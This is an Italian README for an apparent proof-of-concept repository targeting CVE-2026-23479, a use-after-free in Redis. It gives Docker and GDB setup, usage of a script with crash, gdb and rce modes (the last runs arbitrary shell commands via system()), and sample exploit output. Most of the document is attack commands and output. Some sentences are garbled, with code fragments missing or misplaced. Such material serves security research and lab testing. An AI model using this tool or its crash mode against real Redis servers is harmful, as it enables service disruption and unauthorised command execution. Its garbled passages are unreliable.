
Prova di concetto con sfruttamento di vulnerabilità assistito da GDB (solo uso educativo / di laboratorio)
Use-After-Free in Redis
unblockClientOnKey()che porta all'esecuzione remota di codice
Prova di concetto con sfruttamento assistito da GDB (solo uso didattico / di laboratorio)
CVE-2026-23479 è una vulnerabilità critica Use‑After‑Free (UAF) nelle versioni di Redis dalla 7.2.0 alla 8.6.2.
Il bug risiede in unblockClientOnKey(), che chiama .
Se il client viene liberato durante quella chiamata (ad es. a causa di un'eviction), il chiamante continua a operare su un puntatore dangling → .
Un attaccante in grado di modellare l'heap dopo la liberazione può ottenere .
processCommandAndResetClient()Questo repository fornisce una PoC assistita da GDB che:
freeClient())system() nello stesso punto⚠️ Importante: questa non è un exploit weaponizzato. Utilizza GDB all'interno di un container Docker privilegiato per simulare ciò che un vero attaccante potrebbe ottenere dopo aver sfruttato con successo la UAF.
Usalo solo nel tuo laboratorio o su sistemi per i quali hai l'esplicita autorizzazione a testare.
crash, gdb, rce, full--containerXREAD BLOCK fa sì che il client attenda dati dallo stream.pid 1) all'interno del container.processCommandAndResetClient – la funzione chiamata quando il client bloccato viene riprocessato.XADD sullo stesso stream risveglia la vittima.gdb: chiama freeClient($rdi) → causa deliberatamente un SIGSEGV → dimostra la UAF.rce: chiama system("your command") → esegue comandi shell arbitrari come utente Redis (root di default).Il breakpoint scatta ogni volta che un client bloccato viene sbloccato, dimostrando che lo stesso percorso di codice che contiene la UAF consente anche l'esecuzione di codice.
| Branch | Intervallo vulnerabile |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
Lo script analizza automaticamente la versione di Redis e segnala se è vulnerabile.
apt (ad es. la redis:8.6.2 ufficiale)--privileged (richiesto per ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Modalità | Descrizione |
|---|---|
crash | Tenta di innescare la UAF tramite pressione sulla memoria (nessun GDB richiesto). Redis potrebbe andare in crash, ma non è garantito. |
gdb | Aggancia GDB e chiama freeClient() al breakpoint → forza un SIGSEGV (dimostra la UAF). |
rce | Aggancia GDB e chiama system(cmd) al breakpoint → esegue un comando shell all'interno del container. |
full | Esegue prima crash; se Redis non va in crash, ripiega su gdb. |
| Argomento | Predefinito | Descrizione |
|---|---|---|
target | (obbligatorio) | Indirizzo IP del server Redis |
-p, --port | 6379 | Porta Redis |
-m, --mode | full | Una tra crash, gdb, rce, full |
--container | env-redis-vuln-1 | Nome del container Docker |
--cmd | id > /tmp/pwned_by_cve | Comando da eseguire in modalità rce |
Nota: tutti i comandi vengono eseguiti dalla macchina host, non all'interno del container Docker.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis andrà in crash dopo il segmentation fault.
Riavvia il container:
docker start redis-vuln-local
Riavvia Redis per garantire uno stato pulito:
docker restart redis-vuln-local
Esegui l'exploit:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Verifica il file di prova:
docker exec redis-vuln-local ls -l /tmp/pwned
Se l'operazione riesce, il file esisterà, dimostrando che:
system("touch /tmp/pwned");
è stato eseguito all'interno del container Redis.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Se Redis termina in modo inaspettato (il container non è più in esecuzione), probabilmente la UAF è stata innescata.
Riavvia con:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Questa modalità:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
La PoC originale era hardcoded per un container chiamato env-redis-vuln-1 e conteneva diversi problemi se eseguita con versioni più recenti di Python.
La versione aggiornata introduce i seguenti miglioramenti:
| Problema | Correzione |
|---|---|
| Nome container hardcoded | Aggiunto l'argomento --container e propagato attraverso tutte le funzioni. |
Comando file inserito all'interno del blocco commands nello script GDB | Spostato file /usr/local/bin/redis-server prima di attach così GDB carica correttamente i simboli. |
subprocess.run() utilizzato sia con capture_output=True che con stderr=... | Sostituito con stdout=subprocess.DEVNULL e stderr=subprocess.DEVNULL. |
Processi GDB stale che causano ptrace: Operation not permitted | Aggiunto pkill -9 gdb prima di avviare GDB sia in trigger_uaf_gdb() che in trigger_rce(). |
| Nessun feedback quando GDB falliva silenziosamente | Aggiunto logging di debug per l'output di GDB e migliorato il rilevamento del file di prova. |
docker stop redis-vuln-local
docker rm redis-vuln-local
Questo strumento è destinato esclusivamente a scopi educativi, ricerca sulla sicurezza autorizzata e test di sistemi di tua proprietà o per i quali hai esplicita autorizzazione a valutare.
L'autore non approva né incoraggia l'uso non autorizzato o dannoso.
Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema in produzione o di terze parti.
Realizzato con ❤️ per la community della sicurezza.
Rimani etico. Rimani al sicuro.